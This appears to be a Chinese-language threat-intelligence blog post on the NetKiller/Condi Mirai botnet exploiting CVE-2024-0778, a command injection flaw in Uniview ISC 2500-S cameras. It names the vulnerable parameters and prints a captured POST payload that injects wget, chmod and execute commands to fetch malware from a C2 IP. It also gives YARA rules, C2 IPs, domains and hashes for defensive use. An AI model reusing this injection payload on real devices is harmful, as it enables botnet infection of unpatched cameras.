CVE-2024-0778 漏洞披露一周后遭 NetKiller.Condi 僵尸网络利用
内容提要
浙江宇视 ISC 摄像头型号 2500-S 在 20210930 之前的固件版本中存在一个漏洞。该漏洞允许攻击者通过操纵特定的请求参数来执行操作系统命令注入攻击。
该漏洞(分配编号为 CVE-2024-0778)影响的产品已进入服务终止阶段,因此,维护人员不再提供对这些产品的技术支持。
Akamai 安全智能响应团队 (SIRT) 检测到 Mirai 恶意软件的变体,并发现有人正尝试利用该漏洞针对我们的蜜罐实施攻击。
另外,攻击者还使用不同的攻击载荷去攻击其他的 URI,这表明攻击目标是多系统架构。
与这些攻击相关联的命令和控制 (C2) IP 地址位于越南,并解析到一个名为 net-killer[.]online 的 C2 域名,这个域名是在 2024 年 1 月注册的。
已知该活动的最早记录出现在 2023 年 6 月 28 日,这表明它是一个长期存在且持续演变的威胁。
浙江宇视 ISC 摄像头型号 2500-S 在 20210930 之前的固件版本中存在一个严重漏洞。该漏洞存在于 /Interface/DevManage/VM.php 文件的 setNatConfig 函数中。攻击者可利用此漏洞,通过操纵 natAddress、natPort 和 natServerPort 这三个请求参数,执行操作系统命令注入攻击。
该漏洞已被公开披露,对暴露在互联网上的设备构成严重威胁。该漏洞的编号为 VDB-251696。值得注意的是,该漏洞尤其会影响那些已不再受维护人员支持的产品。该供应商早已知道此漏洞,并及时确认相关产品已进入服务终止阶段。
在本博文中,我们将介绍该漏洞,讨论其影响并呈现我们观察到的入侵指标 (IOC)。
检测到 Mirai 恶意软件的变体
Akamai SIRT 检测到一个会话尝试利用该漏洞,随后我们于 2024 年 1 月 16 日 在 GitHub 上公开了 该会话。该漏洞于 1 月 22 日被分配了 CVE ID:CVE-2024-0778。紧接着,在 1 月 24 日,我们监测到一名攻击者正试图利用该漏洞对我们的蜜罐发起攻击。
当在沙盒环境中执行其中一个恶意软件样本(特别是“most-mips”)时,它会在控制台上显示独特的字符串“lzrd”,而这正是识别该特定 Mirai 恶意软件变体的关键标志(图 1)。这并不是什么新奇之事,最早提及此字符串及其变体的是在 2021 年的一篇蜜罐博文中。
与 Condi 的连接
这个恶意软件样本尝试连接到一个名为 net-killer[.]online 的 C2 域名,我们之前在我们的蜜罐网络中已经监测到了这一活动。我们在恶意软件样本中发现了“CondiiNeett %s:%d”等字符串,这些字符串表明该样本与先前报告的 Condi 僵尸网络存在某种联系。
2023 年 6 月 Fortinet 报道了 Condi 僵尸网络 。Condi 僵尸网络的源代码已于 2023 年 8 月 17 日至 10 月 12 日期间被公开到了 GitHub 上。考虑到 Condi 源代码自发布以来已经流传了几个月,除了 Fortinet 报告的案例外,很有可能还有其他攻击者正在尝试利用该源代码。
在过去的一个月里,攻击者还针对其他 URI 进行攻击,例如“/ctrlt/DeviceUpgrade_1”(CVE-2017-17215)、“/soap.cgi?service=WANIPConn1”(CVE-2013-7471) 以及“/picsdesc.xml”(CVE-2014-8361)。他们使用了名为“most-mips”的攻击载荷文件,并且使用了相同的 C2 IP 地址。在最新的 CVE 中,攻击者使用了包含“most-arm”的会话。对于“most-x86”,我们观察到它针对 URI“/ws/v1/cluster/apps”进行攻击(Hadoop YARN ResourceManager 漏洞)。
值得注意的是,这些 C2 IP 地址曾经或目前仍然解析到名为 net-killer[.]online 的 C2 域名。该域名的所有 IP 地址解析都是位于越南的 IP 地址。该域名于 2024 年 1 月 10 日通过 Hostinger 注册。
NetKiller 僵尸网络
我们在 2023 年 6 月 28 日首次在蜜罐中发现了这种活动。攻击者使用了位于越南的 C2 IP 地址 103.195.236[.]140,攻击时间从 2023 年 6 月下旬一直持续到 2023 年 8 月 17 日。该代码下载了一个名为“sora.mips”的攻击载荷,这极有可能是 Mirai SORA 变体 (NetKiller.SORA)。最早关于“most”文件名的提及,即 Mirai LZRD 变体 (NetKiller.LZRD),是在 2023 年 7 月 28 日从同一个 C2 服务器上发现的。该攻击者当时所使用的 C2 域名之一为 botnet.vinaddns[.]com。
对于 NetKiller 僵尸网络基础架构,我们监测到 IP 地址解析存在几个重叠之处(图 2)。大多数基础架构都位于越南,其 C2 域名通常被注册为大型主机的一个子域名,该主机拥有数千个其他子域名。在这种情况下,所有域名均遵循以“serve”为前缀的命名约定,例如“serveblog”、“servegame”和“servehttp”。类似地,它们的子域名和恶意软件文件名也采用特定的命名约定,通常存在重叠的命名元素,如“killer”、“botnet”或“most”。
在我们蜜罐捕获的代码片段(图 3)中,从 POST 请求的内容中可以明显看出,攻击者试图利用命令注入漏洞来执行代码,以试图将目录更改至 /tmp,然后使用 wget 命令下载 most-arm 二进制文件,设置权限为所有用户可执行,最后启动恶意软件并删除二进制文件。恶意软件的第一部分和第二部分将命令“id”写入文件“1.php”。这些可能是 GitHub 上发布的原始概念验证漏洞的部分代码。
METHOD: POST
LISTENING PORT: 90
PATH: /Interface/DevManage/VM.php
REQUEST: natPort=80;echo `id` > 1.php&GAJAX_USERID=0000&GAJAX_ORGCODE=0000&GAJAX_USERNAME=admin&GAJAX_ORGTYPE=2&cmd=setNatConfig&natAddress=cd /tmp/;wget http://103.69.97.45/most-arm;chmod 777 most-arm;./most-arm exploit;rm -rf most-arm&natServerPort=;echo `id` > 1.php&GAJAX_LOGINID=21822020240105183142&GAJAX_ORGNAME=Root
图 3:从漏洞利用企图中捕获的攻击载荷
结论
从浙江宇视 ISC 摄像头固件中发现了关键漏洞,以及我们监测到的针对 CVE-2024-0778 漏洞以及相关 C2 基础架构的恶意活动来看,恶意攻击者一直都在利用过时系统中的漏洞带来持续不断的威胁。
总之,我们建议对无法修补漏洞的退役硬件和软件进行停用处理,以降低安全风险并确保满足法规要求。保护企业的资产和数据需要仔细的计划、执行和持续的警惕。
持续的关注、主动的漏洞管理并对相关基础架构进行彻底调查,对于缓解风险和防御此类威胁至关重要。此外,安全研究人员与供应商之间合作,是确保漏洞得到迅速修复并保护用户免受潜在漏洞利用攻击的关键所在。
IOC
YARA 规则
rule netkiller_scripts_1 {
meta:
description = "netkiller_scripts_1"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "mostnet0510" fullword ascii
$s2 = "most" fullword ascii
$s3 = "most-ppc" fullword ascii
$s4 = "most-m68k" fullword ascii
$s5 = "most-x86" fullword ascii
$s6 = “CondiiNeett %s:%d” fullword ascii
condition:
3 of them
}
rule netkiller_scripts_2 {
meta:
description = "netkiller_scripts_2"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "caclo" fullword ascii
$s2 = "npxXoudifFeEgGaACScs" fullword ascii
$s3 = "khong_xac_dinh" fullword ascii
$s4 = "webserv" fullword ascii
condition:
3 of them
}
rule netkiller_scripts_3 {
meta:
description = "netkiller_scripts_3"
author = "Akamai SIRT"
date = "2024-02-26"
strings:
$s1 = "babylone" fullword ascii
$s2 = "[killer] da giet" fullword ascii
$s3 = "[killer] Kh" fullword ascii
$s4 = "[killer] Failed to create child process." fullword ascii
$s5 = "ng th" fullword ascii
$s6 = " o quy tr" fullword ascii
$s7 = "nh con." fullword ascii
$8 = "/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/
x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/
x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/
xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/
xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/
x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A"
condition:
3 of them
}
C2 IP 地址
103[.]69[.]97[.]45
103[.]67[.]196[.]50
103[.]72[.]57[.]249
103[.]72[.]57[.]195
103[.]37[.]61[.]26
15[.]235[.]155[.]8
34[.]94[.]59[.]72
103[.]67[.]163[.]20
35[.]235[.]96[.]85
103[.]195[.]236[.]140
103[.]72[.]57[.]191
103[.]72[.]56[.]135
43[.]229[.]150[.]94
103[.]155[.]81[.]228
103[.]172[.]79[.]74
C2 域名
net-killer[.]online
mostnet[.]servegame[.]com
net-killer[.]servehttp[.]com
botnet[.]serveblog[.]net
botnet[.]vinaddns[.]com
botnet1[.]vinaddns[.]com
SHA256 hashes
62e9e4032bbfdc8ff27ba1386884adf59d34c8bf42424e4fd80d836d2b40c7db
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
646ed28bb9b2efe839a095ea0cf8b3a2c6acf2f4edabd5a743154f6ff432ab7b
D00b4c81059c295b924fa43778d06659b01f074e4099147c596d9b1a2789e329
75b20eec15cc9f64b5dbd884f9296e8a2ae2bec728dbe8886584f13e8d13d596
E4970af58d4ef7f23d7b6813203cf980f9aa1d507953d87978810d0de339779a
6704f73d8e51c259f74fdadc9d3782e60d279cf2619a83e75786d29f59810f91
13014707a5338954138b6b83fd04080407e3088ef6bcf3307d0cc1cdf44c21c0
b4512382738144e5e0a411d8d47d2496a73675a54b8ee8468ab7975011c2305b
5692541960ec2360ec431679d33aee79836572adc3a8b2e39f81402ec980dd58
8f8c68165c5853e9ce33f76d37d77db7112d713d0374d1e5ad6e0f0ac343cb1b
cfce0b57fa30be5297768f9dd1dcb2a5930b3a440b95ad407b3055405ad0ddd5